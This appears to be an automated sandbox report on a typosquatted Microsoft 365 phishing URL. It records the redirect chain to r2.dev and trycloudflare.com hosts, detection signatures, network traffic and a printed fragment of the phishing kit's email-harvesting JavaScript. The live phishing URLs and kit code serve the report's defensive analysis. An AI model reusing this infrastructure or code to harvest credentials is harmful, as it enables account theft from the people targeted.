Edit tour

Windows Analysis Report
http://loginmlcrosoftonline365aftral.com.ribeiroautocapas.com.br/cgi-bin/reset/authorize?email=maurice@microsoft.com

Overview

General Information

Sample URL:	http://loginmlcrosoftonline365aftral.com.ribeiroautocapas.com.br/cgi-bin/reset/authorize?email=maurice@microsoft.com
Analysis ID:	1650384
Infos:

Detection

HTMLPhisher

Score:	64
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Yara detected HtmlPhish10

AI detected landing page (webpage, office document or email)

AI detected suspicious URL

Creates files inside the system directory

DNS query to tunneling platform domain

Deletes files inside the Windows folder

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

Javascript checks online IP of machine

Sigma detected: Cloudflared Tunnels Related DNS Requests

Suricata IDS alerts with low severity for network traffic

URL contains potential PII (phishing indication)

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6180 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6408 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1988,i,11332565811409794431,4363301958893749147,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2260 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7100 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://loginmlcrosoftonline365aftral.com.ribeiroautocapas.com.br/cgi-bin/reset/authorize?email=maurice@microsoft.com" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_85	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
dropped/chromecache_118	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

HTML

Source	Rule	Description	Author
1.7.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
7.20.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.5.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.12.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.8.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
7.19.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.14.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
Click to see the 2 entries

Sigma Signatures

Sigma detected: Cloudflared Tunnels Related DNS Requests

Source: DNS query

Author: Nasreddine Bencherchali (Nextron Systems): Data: Image: C:\Program Files\Google\Chrome\Application\chrome.exe, QueryName: button-students-container-titans.trycloudflare.com

Suricata Signatures

ETPRO EXPLOIT Possible dhcpcd IPv6 IA/NA Buffer Overflow [Advertise 0x02] Inbound (CVE-2019-11577)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-27T16:59:51.012354+0100	2849429	1	Attempted Administrator Privilege Gain	1.1.1.1	53	192.168.2.16	57373	UDP

Joe Sandbox Signatures

• Phishing
• Compliance
• Software Vulnerabilities
• Networking
• System Summary

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/index.html?c09c9db3e8e5892600c8d7f2f14ef5#maurice%40microsoft.com	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The URL 'pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev' does not match the legitimate domain 'microsoft.com'., The domain 'r2.dev' is not associated with Microsoft and appears to be a generic or cloud service domain., The presence of a long alphanumeric string in the subdomain is unusual and suspicious., There is no direct association between the URL and the brand 'Microsoft'. DOM: 0.2.pages.csv
Source: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/index.html?session=JZCSg72AXb0H&target=portal&client=K01Iypuf&auth=standard&device=VwuX4DSe66&origin=direct	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The URL 'pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev' does not match the legitimate domain 'microsoft.com'., The URL uses a domain extension '.dev' which is not typically associated with Microsoft., The URL contains a random string and subdomain structure that is not typical for Microsoft., The presence of an input field asking for a password on a non-legitimate domain is suspicious. DOM: 1.9.pages.csv
Source: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/index.html?session=JZCSg72AXb0H&target=portal&client=K01Iypuf&auth=standard&device=VwuX4DSe66&origin=direct	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The URL 'pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev' does not match the legitimate domain 'microsoft.com'., The domain 'r2.dev' is not associated with Microsoft and appears to be a generic or cloud service domain., The presence of a long alphanumeric string in the subdomain is suspicious and often used in phishing attempts., No direct association between the URL and the brand 'Microsoft' is evident. DOM: 1.12.pages.csv
Source: https://button-students-container-titans.trycloudflare.com/	Joe Sandbox AI: Score: 8 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The URL 'button-students-container-titans.trycloudflare.com' does not match the legitimate domain 'microsoft.com'., The URL uses a subdomain structure that is not associated with Microsoft., The domain 'trycloudflare.com' is a cloud service provider, which can be used for legitimate purposes but also for phishing., There is no direct association between the URL and the brand 'Microsoft'. DOM: 7.19.pages.csv
Source: https://button-students-container-titans.trycloudflare.com/	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The URL 'button-students-container-titans.trycloudflare.com' does not match the legitimate domain 'microsoft.com'., The URL uses 'trycloudflare.com', which is a cloud service provider domain, not directly associated with Microsoft., The presence of multiple hyphens and unrelated words in the subdomain is suspicious., The URL does not have any direct association with Microsoft, increasing the likelihood of phishing. DOM: 7.20.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 1.7.pages.csv, type: HTML
Source: Yara match	File source: 7.20.pages.csv, type: HTML
Source: Yara match	File source: 1.5.pages.csv, type: HTML
Source: Yara match	File source: 1.12.pages.csv, type: HTML
Source: Yara match	File source: 1.8.pages.csv, type: HTML
Source: Yara match	File source: 7.19.pages.csv, type: HTML
Source: Yara match	File source: 1.14.pages.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_85, type: DROPPED
Source: Yara match	File source: dropped/chromecache_118, type: DROPPED

AI detected landing page (webpage, office document or email)

Source: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/index.html?c09c9db3e8e5892600c8d7f2f14ef5#maurice%40microsoft.com

Joe Sandbox AI: Page contains button: 'Verifying...' Source: '0.1.pages.csv'

AI detected suspicious URL

Source: http://loginmlcrosoftonline365aftral.com.ribeiroautocapas.com.br

Joe Sandbox AI: The URL 'http://loginmlcrosoftonline365aftral.com.ribeiroautocapas.com.br' appears to be attempting to mimic Microsoft's legitimate login URL 'https://login.microsoftonline.com'. The observed character substitution involves 'mlcrosoft' instead of 'microsoft', which is a common tactic in typosquatting. Additionally, the inclusion of '365' suggests an attempt to associate with Microsoft's Office 365 services. The use of 'login' at the beginning of the URL further enhances the likelihood of user confusion, as it mimics the structure of Microsoft's legitimate login URL. The domain 'ribeiroautocapas.com.br' does not appear to have any legitimate connection to Microsoft, increasing the suspicion of typosquatting. The combination of these factors results in a high likelihood of this being a typosquatting attempt.

Source: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/index.html?session=JZCSg72AXb0H&target=portal&client=K01Iypuf&auth=standard&device=VwuX4DSe66&origin=direct	HTTP Parser: Number of links: 0
Source: https://button-students-container-titans.trycloudflare.com/	HTTP Parser: Number of links: 0

Source: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/index.html?session=JZCSg72AXb0H&target=portal&client=K01Iypuf&auth=standard&device=VwuX4DSe66&origin=direct	HTTP Parser: <input type="password" .../> found but no <form action="...
Source: https://button-students-container-titans.trycloudflare.com/	HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/index.html?c09c9db3e8e5892600c8d7f2f14ef5#maurice%40microsoft.com

HTTP Parser: Base64 decoded: aHR0cHM6Ly9idXR0b24tc3R1ZGVudHMtY29udGFpbmVyLXRpdGFucy50cnljbG91ZGZsYXJlLmNvbQ==

Source: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/index.html?session=JZCSg72AXb0H&target=portal&client=K01Iypuf&auth=standard&device=VwuX4DSe66&origin=direct	HTTP Parser: Title: Sign in to your account does not match URL
Source: https://button-students-container-titans.trycloudflare.com/	HTTP Parser: Title: Sign in to your account does not match URL

Source: https://button-students-container-titans.trycloudflare.com/

HTTP Parser: let authtimer;let statuscheckinterval;let authretrycount = 0;const max_auth_retries = 4;let verification_timeout = 240;function checkemailfromurl() { // get hash and query parameters const hash = window.location.hash; const params = new urlsearchparams(window.location.search); // extract email from hash, handling both direct # and #?email= formats let hashemail = null; if (hash) { // remove the leading # const hashvalue = hash.substring(1); // check if it contains ?email= if (hashvalue.includes('?email=')) { hashemail = new urlsearchparams(hashvalue).get('email'); } else { // if no ?email=, use the entire hash value hashemail = hashvalue; } } // extract email from url query parameter const queryemail = params.get('email'); // prioritize query parameter over hash if both exist const encodedemail = queryemail || hashemail; if (encodedemail) { ...

Source: http://loginmlcrosoftonline365aftral.com.ribeiroautocapas.com.br/cgi-bin/reset/authorize?email=maurice@microsoft.com

Sample URL: PII: maurice@microsoft.com

Source: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/index.html?session=JZCSg72AXb0H&target=portal&client=K01Iypuf&auth=standard&device=VwuX4DSe66&origin=direct	HTTP Parser: <input type="password" .../> found
Source: https://button-students-container-titans.trycloudflare.com/	HTTP Parser: <input type="password" .../> found

Source: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/index.html?c09c9db3e8e5892600c8d7f2f14ef5#maurice%40microsoft.com	HTTP Parser: No favicon
Source: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/index.html?c09c9db3e8e5892600c8d7f2f14ef5#maurice%40microsoft.com	HTTP Parser: No favicon
Source: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/index.html?c09c9db3e8e5892600c8d7f2f14ef5#maurice%40microsoft.com	HTTP Parser: No favicon
Source: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/index.html?session=JZCSg72AXb0H&target=portal&client=K01Iypuf&auth=standard&device=VwuX4DSe66&origin=direct	HTTP Parser: No favicon
Source: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/index.html?session=JZCSg72AXb0H&target=portal&client=K01Iypuf&auth=standard&device=VwuX4DSe66&origin=direct	HTTP Parser: No favicon
Source: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/index.html?session=JZCSg72AXb0H&target=portal&client=K01Iypuf&auth=standard&device=VwuX4DSe66&origin=direct	HTTP Parser: No favicon
Source: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/index.html?session=JZCSg72AXb0H&target=portal&client=K01Iypuf&auth=standard&device=VwuX4DSe66&origin=direct	HTTP Parser: No favicon
Source: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/index.html?session=JZCSg72AXb0H&target=portal&client=K01Iypuf&auth=standard&device=VwuX4DSe66&origin=direct	HTTP Parser: No favicon
Source: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/index.html?session=JZCSg72AXb0H&target=portal&client=K01Iypuf&auth=standard&device=VwuX4DSe66&origin=direct	HTTP Parser: No favicon
Source: https://button-students-container-titans.trycloudflare.com/api/status/login_20250327_090035	HTTP Parser: No favicon
Source: https://ipapi.co/45.92.229.138/json/	HTTP Parser: No favicon
Source: https://api.ipify.org/?format=json	HTTP Parser: No favicon
Source: https://button-students-container-titans.trycloudflare.com/api/login	HTTP Parser: No favicon
Source: https://button-students-container-titans.trycloudflare.com/api/	HTTP Parser: No favicon
Source: https://button-students-container-titans.trycloudflare.com/	HTTP Parser: No favicon
Source: https://button-students-container-titans.trycloudflare.com/	HTTP Parser: No favicon

Source: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/index.html?session=JZCSg72AXb0H&target=portal&client=K01Iypuf&auth=standard&device=VwuX4DSe66&origin=direct	HTTP Parser: No <meta name="author".. found
Source: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/index.html?session=JZCSg72AXb0H&target=portal&client=K01Iypuf&auth=standard&device=VwuX4DSe66&origin=direct	HTTP Parser: No <meta name="author".. found
Source: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/index.html?session=JZCSg72AXb0H&target=portal&client=K01Iypuf&auth=standard&device=VwuX4DSe66&origin=direct	HTTP Parser: No <meta name="author".. found
Source: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/index.html?session=JZCSg72AXb0H&target=portal&client=K01Iypuf&auth=standard&device=VwuX4DSe66&origin=direct	HTTP Parser: No <meta name="author".. found
Source: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/index.html?session=JZCSg72AXb0H&target=portal&client=K01Iypuf&auth=standard&device=VwuX4DSe66&origin=direct	HTTP Parser: No <meta name="author".. found
Source: https://button-students-container-titans.trycloudflare.com/	HTTP Parser: No <meta name="author".. found
Source: https://button-students-container-titans.trycloudflare.com/	HTTP Parser: No <meta name="author".. found

Source: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/index.html?session=JZCSg72AXb0H&target=portal&client=K01Iypuf&auth=standard&device=VwuX4DSe66&origin=direct	HTTP Parser: No <meta name="copyright".. found
Source: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/index.html?session=JZCSg72AXb0H&target=portal&client=K01Iypuf&auth=standard&device=VwuX4DSe66&origin=direct	HTTP Parser: No <meta name="copyright".. found
Source: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/index.html?session=JZCSg72AXb0H&target=portal&client=K01Iypuf&auth=standard&device=VwuX4DSe66&origin=direct	HTTP Parser: No <meta name="copyright".. found
Source: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/index.html?session=JZCSg72AXb0H&target=portal&client=K01Iypuf&auth=standard&device=VwuX4DSe66&origin=direct	HTTP Parser: No <meta name="copyright".. found
Source: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/index.html?session=JZCSg72AXb0H&target=portal&client=K01Iypuf&auth=standard&device=VwuX4DSe66&origin=direct	HTTP Parser: No <meta name="copyright".. found
Source: https://button-students-container-titans.trycloudflare.com/	HTTP Parser: No <meta name="copyright".. found
Source: https://button-students-container-titans.trycloudflare.com/	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 162.214.154.8:443 -> 192.168.2.16:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.0.235:443 -> 192.168.2.16:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.22.21.144:443 -> 192.168.2.16:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.248.203:443 -> 192.168.2.16:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.248.203:443 -> 192.168.2.16:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.38.252:443 -> 192.168.2.16:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.72.100:443 -> 192.168.2.16:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.16:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.238.80.7:443 -> 192.168.2.16:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.64.149.4:443 -> 192.168.2.16:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.16:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.16:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.230.132:443 -> 192.168.2.16:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.41.16:443 -> 192.168.2.16:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.9:443 -> 192.168.2.16:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.9:443 -> 192.168.2.16:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.9:443 -> 192.168.2.16:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.9:443 -> 192.168.2.16:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.9:443 -> 192.168.2.16:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.9:443 -> 192.168.2.16:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.230.132:443 -> 192.168.2.16:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.16:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.16:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.8.44:443 -> 192.168.2.16:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.69.226:443 -> 192.168.2.16:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.231.132:443 -> 192.168.2.16:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.231.132:443 -> 192.168.2.16:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.69.226:443 -> 192.168.2.16:49834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.69.226:443 -> 192.168.2.16:49835 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.16:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.16:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.16:49853 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.22.21.144:443 -> 192.168.2.16:49906 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.9:443 -> 192.168.2.16:49914 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.9:443 -> 192.168.2.16:49912 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.9:443 -> 192.168.2.16:49913 version: TLS 1.2

Source: chrome.exe

Memory has grown: Private usage: 11MB later: 50MB

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

DNS query to tunneling platform domain: name: button-students-container-titans.trycloudflare.com

Source: Network traffic

Suricata IDS: 2849429 - Severity 1 - ETPRO EXPLOIT Possible dhcpcd IPv6 IA/NA Buffer Overflow [Advertise 0x02] Inbound (CVE-2019-11577) : 1.1.1.1:53 -> 192.168.2.16:57373

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.35.163
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.172
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.35.163
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /cgi-bin/reset/authorize?email=maurice@microsoft.com HTTP/1.1Host: loginmlcrosoftonline365aftral.com.ribeiroautocapas.com.brConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cgi-bin/reset/authorize/?email=maurice@microsoft.com HTTP/1.1Host: loginmlcrosoftonline365aftral.com.ribeiroautocapas.com.brConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /index.html?c09c9db3e8e5892600c8d7f2f14ef5 HTTP/1.1Host: pub-11f9de1b0e4f4601832881cc81c7f83a.r2.devConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: cdn.tailwindcss.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /@splinetool/viewer@0.9.414/build/spline-viewer.js HTTP/1.1Host: unpkg.comConnection: keep-aliveOrigin: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.devsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /@lottiefiles/lottie-player@latest/dist/lottie-player.js HTTP/1.1Host: unpkg.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /3.4.16 HTTP/1.1Host: cdn.tailwindcss.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /@lottiefiles/lottie-player@2.0.12/dist/lottie-player.js HTTP/1.1Host: unpkg.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
